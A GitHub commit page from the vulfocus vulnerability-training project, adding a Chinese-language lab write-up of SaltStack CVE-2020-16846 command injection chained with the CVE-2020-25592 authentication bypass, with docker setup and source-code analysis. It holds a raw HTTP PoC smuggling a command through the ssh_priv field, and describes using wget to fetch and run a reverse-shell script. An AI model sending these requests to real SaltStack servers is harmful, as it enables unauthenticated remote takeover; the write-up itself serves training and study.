Skip to content

Commit

Permalink
xiugai
Browse files Browse the repository at this point in the history
  • Loading branch information
403Allowed committed Jun 21, 2021
1 parent fdeec29 commit c3c3e02
Show file tree
Hide file tree
Showing 69 changed files with 129 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,129 @@
# SaltStack ่ฟœ็จ‹ๅ‘ฝไปคๆ‰ง่กŒๆผๆดž๏ผˆCVE-2020-16846๏ผ‰by [FlyYoung729](https://github.com/FlyYoung729)

## ไธ€ใ€ๆผๆดž่ฏฆๆƒ…
SaltStackๆ˜ฏไธ€ไธชๅˆ†ๅธƒๅผ่ฟ็ปด็ณป็ปŸ๏ผŒๅœจไบ’่”็ฝ‘ๅœบๆ™ฏไธญ่ขซๅนฟๆณ›ๅบ”็”จ๏ผŒๆœ‰ไปฅไธ‹ไธคไธชไธป่ฆๅŠŸ่ƒฝ๏ผš
1ใ€้…็ฝฎ็ฎก็†็ณป็ปŸ๏ผŒ่ƒฝๅคŸๅฐ†่ฟœ็จ‹่Š‚็‚น็ปดๆŠคๅœจไธ€ไธช้ข„ๅฎšไน‰็š„็Šถๆ€๏ผˆไพ‹ๅฆ‚๏ผŒ็กฎไฟๅฎ‰่ฃ…็‰นๅฎš็š„่ฝฏไปถๅŒ…ๅนถ่ฟ่กŒ็‰นๅฎš็š„ๆœๅŠก๏ผ‰
2ใ€ๅˆ†ๅธƒๅผ่ฟœ็จ‹ๆ‰ง่กŒ็ณป็ปŸ๏ผŒ็”จไบŽๅœจ่ฟœ็จ‹่Š‚็‚นไธŠๅ•็‹ฌๆˆ–้€š่ฟ‡ไปปๆ„้€‰ๆ‹ฉๆ ‡ๅ‡†ๆฅๆ‰ง่กŒๅ‘ฝไปคๅ’ŒๆŸฅ่ฏขๆ•ฐๆฎ

CVE-2020-16846: ๅ‘ฝไปคๆณจๅ…ฅๆผๆดž
ๆœช็ป่ฟ‡่บซไปฝ้ชŒ่ฏ็š„ๆ”ปๅ‡ป่€…้€š่ฟ‡ๅ‘้€็‰นๅˆถ่ฏทๆฑ‚ๅŒ…๏ผŒๅฏ้€š่ฟ‡Salt APIๆณจๅ…ฅssh่ฟžๆŽฅๅ‘ฝไปคๅฏผ่‡ดๅ‘ฝไปคๆ‰ง่กŒใ€‚

CVE-2020-25592: ้ชŒ่ฏ็ป•่ฟ‡ๆผๆดž
Salt ๅœจ้ชŒ่ฏeauthๅ‡ญๆฎๅ’Œ่ฎฟ้—ฎๆŽงๅˆถๅˆ—่กจACLๆ—ถๅญ˜ๅœจไธ€ๅค„้ชŒ่ฏ็ป•่ฟ‡ๆผๆดžใ€‚ๆœช็ป่ฟ‡่บซไปฝ้ชŒ่ฏ็š„่ฟœ็จ‹ๆ”ปๅ‡ป่€…้€š่ฟ‡ๅ‘้€็‰นๅˆถ็š„่ฏทๆฑ‚ๅŒ…๏ผŒๅฏไปฅ้€š่ฟ‡salt-api็ป•่ฟ‡่บซไปฝ้ชŒ่ฏ๏ผŒๅนถไฝฟ็”จsalt ssh่ฟžๆŽฅ็›ฎๆ ‡ๆœๅŠกๅ™จใ€‚็ป“ๅˆCVE-2020-16846่ƒฝ้€ ๆˆๅ‘ฝไปคๆ‰ง่กŒใ€‚

## ไบŒใ€ๆผๆดž็Žฏๅขƒ
่ฏฅๆผๆดž็Žฏๅขƒๅทฒๆ•ดๅˆๅˆฐvulfocus้ถๅœบไธญ๏ผŒๅฏไธ€้”ฎ็›ดๆŽฅๅฏๅŠจใ€‚
ๆญฅ้ชค๏ผš
1ใ€ๆœ็ดขCVE-2020-16846๏ผŒ็‚นๅ‡ปๅฏๅŠจ๏ผˆ้…ๅˆCVE-2020-25592้ชŒ่ฏ็ป•่ฟ‡ๆผๆดž่ฟ›่กŒๅ‘ฝไปคๆ‰ง่กŒ๏ผ‰
![](./ๅ›พ็‰‡1.png)
2ใ€่ฎฟ้—ฎhttps://ip:port๏ผŒ็œ‹ๅˆฐ่ฏฅ้กต้ขๅˆ™่ฏๆ˜Ž้ถๅœบๅฏๅŠจๆˆๅŠŸ
![](./ๅ›พ็‰‡2.png)

ไนŸๅŒๆ ทๅฏไปฅๅœจdockerhubไป“ๅบ“ไธญๆœ็ดขvulfocus/saltstackๆ‰พๅˆฐๆˆ‘ไปฌไธŠไผ ็š„้•œๅƒ
https://hub.docker.com/r/vulfocus/saltstack-cve_2020_16846
![](./ๅ›พ็‰‡3.png)
1ใ€ๅฐ†้•œๅƒไธ‹่ฝฝๅˆฐๆœฌๅœฐ็Žฏๅขƒ
`docker pull vulfocus/saltstack-cve_2020_16846:latest`
2ใ€ๅฏๅŠจ้•œๅƒ
`docker run -d -p 22:22 -p 4505:4505 -p 4506:4506 -p 8000:8000 vulfocus/saltstack-cve_2020_16846:latest`
3ใ€่ฎฟ้—ฎhttps://ip:8000

## ไธ‰ใ€ๆผๆดžๅค็Žฐ
้€š่ฟ‡ๅˆ†ๆžๅŽๆž„้€ poc
```
POST /run HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
token=123123&client=ssh&tgt=*&fun=a&roster=flyoung&ssh_priv=aaa|payload
```

dnslogๆˆๅŠŸๅ›žๆ˜พ
![](./ๅ›พ็‰‡4.png)
ๆณจๆ„๏ผš
1ใ€ๆ‹ผๆŽฅๅ‘ฝไปคไธญไธ่ƒฝๅซๆœ‰็ฉบๆ ผ๏ผŒ้œ€่ฆๅฐ†็ฉบๆ ผๆ›ฟๆขไธบ%20๏ผŒๅ‘ฝไปคๆœ€ๅŽ้œ€่ฆไปฅๅˆ†ๅท็ป“ๆŸ๏ผŒๅณ%3b
2ใ€ๅ›žๆ˜พๅฏไปฅไฝฟ็”จwgetๆˆ–curlๅ‘ฝไปค๏ผŒpingๅ‘ฝไปคๆ‰ง่กŒไธๆˆๅŠŸ

ๅœจๆœๅŠกๅ™จไธŠๆ–ฐๅปบไธ€ไธช่„šๆœฌ๏ผŒๅ†…ๅฎนไธบๅๅผนshell่ฏญๅฅใ€‚
![](./ๅ›พ็‰‡5.png)

ไฝฟ็”จwgetไธ‹่ฝฝๅˆฐ็›ฎๆ ‡้ถๅœบไธญ
![](./ๅ›พ็‰‡6.png)

่„šๆœฌๆˆๅŠŸไธ‹่ฝฝ
![](./ๅ›พ็‰‡7.png)

ๆ‰ง่กŒ่„šๆœฌ
![](./ๅ›พ็‰‡8.png)
ๆณจๆ„๏ผš
่„šๆœฌๆ‰ง่กŒ้œ€่ฆ็”จ/bin/bashๅ‘ฝไปคๆ‰ง่กŒ๏ผŒๅฆ‚ๆžœไฝฟ็”จshๅ‘ฝไปคๅˆ™้œ€่ฆๅฐ†aaaไฟฎๆ”นไธบ/๏ผŒๅ› ไธบcmdๆ–‡ไปถ้ƒฝไธ‹่ฝฝๅœจๆ น็›ฎๅฝ•๏ผŒaaaๅ…ถๅฎžไธบ่ทฏๅพ„

ๆˆๅŠŸๅ›žๅผนๅนถๆ‹ฟๅˆฐflag
![](./ๅ›พ็‰‡9.png)

ๆ น็›ฎๅฝ•ไธ‹ๅฐฑไผšๅคšไบ†ไธ€ไบ›ssh_privๅ€ผ็š„ๆ–‡ไปถ/ๆ–‡ไปถๅคน
![](./ๅ›พ็‰‡10.png)

2.5ๅˆ†getๅˆฐๆ‰‹
![](./ๅ›พ็‰‡11.png)

## ๅ››ใ€ๆผๆดžๅˆ†ๆž

**CVE-2020-16846**
salt/client/ssh/shell.py
ไฝฟ็”จssh-keygenๅ‘ฝไปค็”Ÿๆˆssh็š„ๅฏ†้’ฅ๏ผŒpathๅ˜้‡็›ดๆŽฅไฝฟ็”จformatๆ”พๅ…ฅcmdไธญ๏ผŒไฝฟ็”จsubprocess.callๆ–นๆณ•ๆ‰ง่กŒ๏ผŒ่ฏฅๆ–นๆณ•ไผš้ป˜่ฎคๅฐ†ๅˆ—่กจ็ฌฌไธ€ไธช้กนไฝœไธบๅ‘ฝไปค๏ผŒๅŽ็ปญไฝœไธบๅ‘ฝไปคๅ‚ๆ•ฐๆ‰ง่กŒใ€‚้…็ฝฎไบ†shell=Trueๅ‚ๆ•ฐไผš็›ดๆŽฅๅฐ†ๆ•ดไธชๅญ—็ฌฆไธฒ็”จshell่งฃ้‡Š๏ผŒ็›ธๅฝ“ไบŽๅŒๆ ท็š„่ฏญๅฅๆ”พๅœจ็ปˆ็ซฏไธญ่ฟ่กŒใ€‚่ฏฅๆผๆดžไฟฎๅคไน‹ๅŽshell้ป˜่ฎคไธบfalseใ€‚pathๅ‚ๆ•ฐๅฏๆŽงๅณๅฏ้€ ๆˆๅ‘ฝไปคๆ‰ง่กŒใ€‚
![](./ๅ›พ็‰‡12.png)

ๆผๆดž็‰ˆๆœฌไธŽไฟฎๅค็‰ˆๆœฌๆ–‡ไปถๅฏนๆฏ”
![](./ๅ›พ็‰‡13.png)

**CVE-2020-25592**
ๅ…ฅๅฃๅˆ†ๆž
SaltStackๅˆฉ็”จcherrypyๅ’Œtornadoไธคไธชๆก†ๆžถๅฎž็Žฐไบ†apiใ€‚
salt/netapi/rest_cherrypy/app.py
cherrypy้…็ฝฎ
![](./ๅ›พ็‰‡14.png)

LowDataAdapter็ฑป่ฐƒ็”จไบ†salt.netapi.NetapiClient็ฑปใ€‚
![](./ๅ›พ็‰‡15.png)
![](./ๅ›พ็‰‡16.png)

่ทŸ่ฟ›ret = self.api.run(chunk)ไธญ็š„runๅ‡ฝๆ•ฐ
![](./ๅ›พ็‰‡17.png)

lowไธบๅค–้ƒจไผ ๅ…ฅ็š„ๅ‚ๆ•ฐ๏ผŒsalt.utils.args.format_callๆ–นๆณ•ๅฐ†ๅ‚ๆ•ฐ่ต‹ๅ€ผ็ป™kwargsใ€‚
ๅฝ“ๆ”ปๅ‡ป่€…ๅฐ†clientๅ‚ๆ•ฐๅ€ผ่ฎพไธบ"ssh"ๆ—ถ๏ผŒไผš็›ดๆŽฅ่ฐƒ็”จsalt/netapi/init.pyไธญ็š„NetapiClient.ssh()ใ€‚
![](./ๅ›พ็‰‡18.png)

salt.client.ssh.client.SSHClient๏ผŒๅˆๅง‹ๅŒ–ๅ‡ฝๆ•ฐๆฒกๆœ‰ssh็›ธๅ…ณ็ฑป่ฐƒ็”จ๏ผŒ็ปง็ปญ่ทŸ่ฟ›cmd_sync()ๅ‡ฝๆ•ฐใ€‚
salt/client/ssh/client.py
![](./ๅ›พ็‰‡19.png)

salt/client/ssh/client.py
![](./ๅ›พ็‰‡20.png)
![](./ๅ›พ็‰‡21.png)

salt/client/ssh/init.py
![](./ๅ›พ็‰‡22.png)

## ไบ”ใ€Golang-PoC
ๆไบคๅˆฉ็”จgoby็ผ–ๅ†™็š„pocๅ’Œexp๏ผŒๅฎกๆ ธ้€š่ฟ‡ๅŽๅฐฑ่ƒฝ่Žทๅ–ๅˆฐGoEXP่ฎกๅˆ’็š„ไธ“ๅฑžๅฅ–้‡‘๏ผŒ่ฟ˜ๅฏไปฅ้›†ๆˆๅˆฐ่‡ชๅทฑ็š„gobyไธญๆต‹่ฏ•

่ฟ่กŒๅŽๆˆๅŠŸ่ฎฟ้—ฎๆœๅŠกๅ™จ81็ซฏๅฃ
![](./ๅ›พ็‰‡23.png)

## ๅ‚่€ƒ้“พๆŽฅ๏ผš

https://paper.seebug.org/1398/

https://www.windylh.com/2020/11/18/SaltStack%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2020-16846)%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90/


Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Empty file modified imgs/8.gif
100755 โ†’ 100644
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Empty file modified imgs/9.gif
100755 โ†’ 100644
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Empty file modified imgs/flag.gif
100755 โ†’ 100644
Empty file modified imgs/image.gif
100755 โ†’ 100644
Empty file modified imgs/login.gif
100755 โ†’ 100644
Empty file modified imgs/register&login.gif
100755 โ†’ 100644
Empty file modified imgs/register.gif
100755 โ†’ 100644
Empty file modified imgs/tp5_rce.gif
100755 โ†’ 100644
Empty file modified imgs/upload_image_file.gif
100755 โ†’ 100644
Empty file modified imgs/upload_image_pull.gif
100755 โ†’ 100644
Empty file modified vulfocus-api/dockerapi/models.py
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-api/dockerapi/serializers.py
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-api/dockerapi/views.py
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-api/manage.py
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-api/network/serializers.py
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-api/user/views.py
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-api/vulfocus/urls.py
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/public/favicon.ico
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/public/index.png
100755 โ†’ 100644
Empty file modified vulfocus-frontend/public/login_icon.png
100755 โ†’ 100644
Empty file modified vulfocus-frontend/public/logo.svg
100755 โ†’ 100644
Empty file modified vulfocus-frontend/src/App.vue
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/api/log.js
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/api/network.js
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/router/index.js
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/views/dashboard/index.vue
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/views/image/index.vue
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/views/login/index.vue
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/views/manager/images.vue
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/views/manager/log.vue
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/views/manager/timetemp.vue
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/views/network/index.vue
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/views/profile/components/Timeline.vue
100755 โ†’ 100644
Empty file.
Empty file modified vulfocus-frontend/src/views/scene/list.vue
100755 โ†’ 100644
Empty file.
Empty file modified writeup/CVE-2020-2555/1.png
100755 โ†’ 100644
Empty file modified writeup/CVE-2020-2555/2.png
100755 โ†’ 100644
Empty file modified writeup/CVE-2020-2555/3.png
100755 โ†’ 100644
Empty file modified writeup/CVE-2020-2555/CVE-2020-2555.md
100755 โ†’ 100644
Empty file.
Empty file modified writeup/Shiro_RememberMe_1.2.4_ๅๅบๅˆ—ๅŒ–/1.png
100755 โ†’ 100644
Empty file modified writeup/Shiro_RememberMe_1.2.4_ๅๅบๅˆ—ๅŒ–/2.png
100755 โ†’ 100644
Empty file modified writeup/Shiro_RememberMe_1.2.4_ๅๅบๅˆ—ๅŒ–/3.png
100755 โ†’ 100644
Empty file modified writeup/Shiro_RememberMe_1.2.4_ๅๅบๅˆ—ๅŒ–/4.png
100755 โ†’ 100644
Empty file modified writeup/Shiro_RememberMe_1.2.4_ๅๅบๅˆ—ๅŒ–/5.png
100755 โ†’ 100644
Empty file.
Empty file modified writeup/Shiro_RememberMe_1.2.4_ๅๅบๅˆ—ๅŒ–/~$1.docx
100755 โ†’ 100644
Empty file.

0 comments on commit c3c3e02

Please sign in to comment.